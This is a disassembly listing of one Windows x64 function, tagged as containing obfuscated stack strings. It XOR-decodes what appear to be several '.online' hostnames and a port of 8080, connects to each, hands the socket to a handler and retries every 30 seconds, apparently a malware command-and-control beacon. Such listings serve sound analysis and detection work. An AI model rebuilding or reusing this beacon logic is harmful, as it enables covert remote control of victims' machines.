Function at 0x140009750
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
sub rsp, 0x3c0
lea rbp, [rsp + 0x80]
mov r8, qword [0x1400101e0]
lea rax, [rbp + 0xa0]
mov rdx, rax
mov ecx, 0x202
call r8
mov byte [rbp + 0x20], 0xb
mov byte [rbp + 0x21], 0x69
mov byte [rbp + 0x22], 0x5f
mov byte [rbp + 0x23], 0x6c
mov byte [rbp + 0x24], 0x7a
mov byte [rbp + 0x25], 6
mov byte [rbp + 0x26], 0x42
mov byte [rbp + 0x27], 0x51
mov byte [rbp + 0x28], 9
mov byte [rbp + 0x29], 0x4a
mov byte [rbp + 0x2a], 0x4f
mov byte [rbp + 0x2b], 0x48
mov byte [rbp + 0x2c], 0x10
mov byte [rbp + 0x2d], 0x50
mov byte [rbp + 0x2e], 0x2e
mov byte [rbp + 0x2f], 0x2d
mov byte [rbp + 0x30], 0x2b
mov byte [rbp + 0x31], 0x2d
mov byte [rbp + 0x32], 0x21
mov byte [rbp + 0x33], 0x45
lea rax, [rbp + 0x20]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009879
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x2d0], rdx
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x2c4], 0
jmp 0x14000986f
mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2d0]
mov eax, dword [rbp + 0x2c4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c4], 1
cmp dword [rbp + 0x2c4], 0x13
jle 0x14000980e
nop
lea rax, [rbp + 0x20]
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x2a0], 0
jmp 0x1400098a4
mov eax, dword [rbp + 0x2a0]
cdqe
mov byte [rbp + rax + 0x20], 0
add dword [rbp + 0x2a0], 1
cmp dword [rbp + 0x2a0], 0x13
jle 0x140009890
nop
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x40], rax
mov byte [rbp], 0x5f
mov byte [rbp + 1], 2
mov byte [rbp + 2], 0x45
mov byte [rbp + 3], 0x5f
mov byte [rbp + 4], 0x63
mov byte [rbp + 5], 0x52
mov byte [rbp + 6], 0x6d
mov byte [rbp + 7], 0x6f
mov byte [rbp + 8], 0x4e
mov byte [rbp + 9], 0x48
mov byte [rbp + 0xa], 0x73
mov byte [rbp + 0xb], 0x57
mov byte [rbp + 0xc], 0x10
mov byte [rbp + 0xd], 0x50
mov byte [rbp + 0xe], 0x2e
mov byte [rbp + 0xf], 0x2d
mov byte [rbp + 0x10], 0x2b
mov byte [rbp + 0x11], 0x2d
mov byte [rbp + 0x12], 0x21
mov byte [rbp + 0x13], 0x45
mov rax, rbp
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x1400099b6
mov rax, rbp
mov rdx, rbp
mov qword [rbp + 0x2b0], rdx
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2a4], 0
jmp 0x1400099ac
mov eax, dword [rbp + 0x2a4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2a4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2b0]
mov eax, dword [rbp + 0x2a4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2a4], 1
cmp dword [rbp + 0x2a4], 0x13
jle 0x14000994b
nop
mov rax, rbp
mov qword [rbp + 0x328], rax
mov dword [rbp + 0x280], 0
jmp 0x1400099e0
mov eax, dword [rbp + 0x280]
cdqe
mov byte [rbp + rax], 0
add dword [rbp + 0x280], 1
cmp dword [rbp + 0x280], 0x13
jle 0x1400099cc
nop
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x48], rax
mov byte [rbp - 0x20], 0x53
mov byte [rbp - 0x1f], 0x7c
mov byte [rbp - 0x1e], 0x5f
mov byte [rbp - 0x1d], 0x44
mov byte [rbp - 0x1c], 0xf
mov byte [rbp - 0x1b], 0x50
mov byte [rbp - 0x1a], 0x59
mov byte [rbp - 0x19], 0x76
mov byte [rbp - 0x18], 0x43
mov byte [rbp - 0x17], 0x6f
mov byte [rbp - 0x16], 0x79
mov byte [rbp - 0x15], 0x71
mov byte [rbp - 0x14], 0x10
mov byte [rbp - 0x13], 0x50
mov byte [rbp - 0x12], 0x2e
mov byte [rbp - 0x11], 0x2d
mov byte [rbp - 0x10], 0x2b
mov byte [rbp - 0xf], 0x2d
mov byte [rbp - 0xe], 0x21
mov byte [rbp - 0xd], 0x45
lea rax, [rbp - 0x20]
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009af5
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0x290], rdx
mov qword [rbp + 0x288], rax
mov dword [rbp + 0x284], 0
jmp 0x140009aeb
mov eax, dword [rbp + 0x284]
movsxd rdx, eax
mov rax, qword [rbp + 0x288]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x284]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x290]
mov eax, dword [rbp + 0x284]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x284], 1
cmp dword [rbp + 0x284], 0x13
jle 0x140009a8a
nop
lea rax, [rbp - 0x20]
mov qword [rbp + 0x320], rax
mov dword [rbp + 0x260], 0
jmp 0x140009b20
mov eax, dword [rbp + 0x260]
cdqe
mov byte [rbp + rax - 0x20], 0
add dword [rbp + 0x260], 1
cmp dword [rbp + 0x260], 0x13
jle 0x140009b0c
nop
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x50], rax
mov byte [rbp - 0x40], 6
mov byte [rbp - 0x3f], 0x57
mov byte [rbp - 0x3e], 6
mov byte [rbp - 0x3d], 0x50
mov byte [rbp - 0x3c], 0x42
mov byte [rbp - 0x3b], 0xe
mov byte [rbp - 0x3a], 0x54
mov byte [rbp - 0x39], 0x53
mov byte [rbp - 0x38], 0x6e
mov byte [rbp - 0x37], 8
mov byte [rbp - 0x36], 0x69
mov byte [rbp - 0x35], 0x77
mov byte [rbp - 0x34], 0x10
mov byte [rbp - 0x33], 0x50
mov byte [rbp - 0x32], 0x2e
mov byte [rbp - 0x31], 0x2d
mov byte [rbp - 0x30], 0x2b
mov byte [rbp - 0x2f], 0x2d
mov byte [rbp - 0x2e], 0x21
mov byte [rbp - 0x2d], 0x45
lea rax, [rbp - 0x40]
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009c35
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x40]
mov qword [rbp + 0x270], rdx
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x264], 0
jmp 0x140009c2b
mov eax, dword [rbp + 0x264]
movsxd rdx, eax
mov rax, qword [rbp + 0x268]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x264]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x270]
mov eax, dword [rbp + 0x264]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x264], 1
cmp dword [rbp + 0x264], 0x13
jle 0x140009bca
nop
lea rax, [rbp - 0x40]
mov qword [rbp + 0x318], rax
mov dword [rbp + 0x25c], 0
jmp 0x140009c60
mov eax, dword [rbp + 0x25c]
cdqe
mov byte [rbp + rax - 0x40], 0
add dword [rbp + 0x25c], 1
cmp dword [rbp + 0x25c], 0x13
jle 0x140009c4c
nop
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x58], rax
call fcn.1400081e0
mov dword [rbp + 0x314], 4
mov byte [rbp + 0x33f], 0
mov dword [rbp + 0x338], 0
jmp 0x140009e13
mov eax, dword [rbp + 0x338]
cdqe
mov rax, qword [rbp + rax*8 + 0x40]
mov qword [rbp + 0x308], rax
pxor xmm0, xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0x74], 2
mov dword [rbp + 0x78], 1
mov r10, qword [0x1400101e8]
mov byte [rbp - 0x45], 0xa
mov byte [rbp - 0x44], 3
mov byte [rbp - 0x43], 0xc
mov byte [rbp - 0x42], 5
mov byte [rbp - 0x41], 0x36
lea rax, [rbp - 0x45]
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
movzx eax, byte [rax + 4]
test al, al
setne al
test al, al
je 0x140009d9d
lea rax, [rbp - 0x45]
lea rdx, [rbp - 0x45]
mov qword [rbp + 0x248], rdx
mov qword [rbp + 0x240], rax
mov dword [rbp + 0x23c], 0
jmp 0x140009d93
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
mov rax, qword [rbp + 0x240]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x248]
mov eax, dword [rbp + 0x23c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x23c], 1
cmp dword [rbp + 0x23c], 4
jle 0x140009d32
nop
lea rax, [rbp - 0x45]
mov qword [rbp + 0x300], rax
mov dword [rbp + 0x238], 0
jmp 0x140009dc8
mov eax, dword [rbp + 0x238]
cdqe
mov byte [rbp + rax - 0x45], 0
add dword [rbp + 0x238], 1
cmp dword [rbp + 0x238], 4
jle 0x140009db4
nop
mov rdx, qword [rbp + 0x300]
lea r8, [rbp + 0x68]
lea rcx, [rbp + 0x70]
mov rax, qword [rbp + 0x308]
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2fc], eax
cmp dword [rbp + 0x2fc], 0
jne 0x140009e0c
mov byte [rbp + 0x33f], 1
jmp 0x140009e25
add dword [rbp + 0x338], 1
mov eax, dword [rbp + 0x338]
cmp eax, dword [rbp + 0x314]
jl 0x140009c9a
movzx eax, byte [rbp + 0x33f]
xor eax, 1
test al, al
je 0x140009e46
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009f6d
mov r10, qword [0x1400101f0]
mov rax, qword [rbp + 0x68]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x68]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 4]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov ecx, eax
call r10
mov qword [rbp + 0x2f0], rax
cmp qword [rbp + 0x2f0], 0xffffffffffffffff
jne 0x140009eb4
mov rdx, qword [0x1400101f8]
mov rax, qword [rbp + 0x68]
mov rcx, rax
call rdx
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009f6d
mov r9, qword [0x140010210]
mov rax, qword [rbp + 0x68]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x68]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x2f0]
mov r8d, ecx
mov rcx, rax
call r9
mov dword [rbp + 0x2ec], eax
cmp dword [rbp + 0x2ec], 0xffffffff
jne 0x140009f1f
mov rdx, qword [0x140010200]
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call rdx
mov rdx, qword [0x1400101f8]
mov rax, qword [rbp + 0x68]
mov rcx, rax
call rdx
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009f6d
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call fcn.140007fa0
mov rdx, qword [0x140010200]
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call rdx
mov rdx, qword [0x1400101f8]
mov rax, qword [rbp + 0x68]
mov rcx, rax
call rdx
mov rax, qword [0x1400101d8]
mov ecx, 0x7530
call rax
jmp 0x140009c84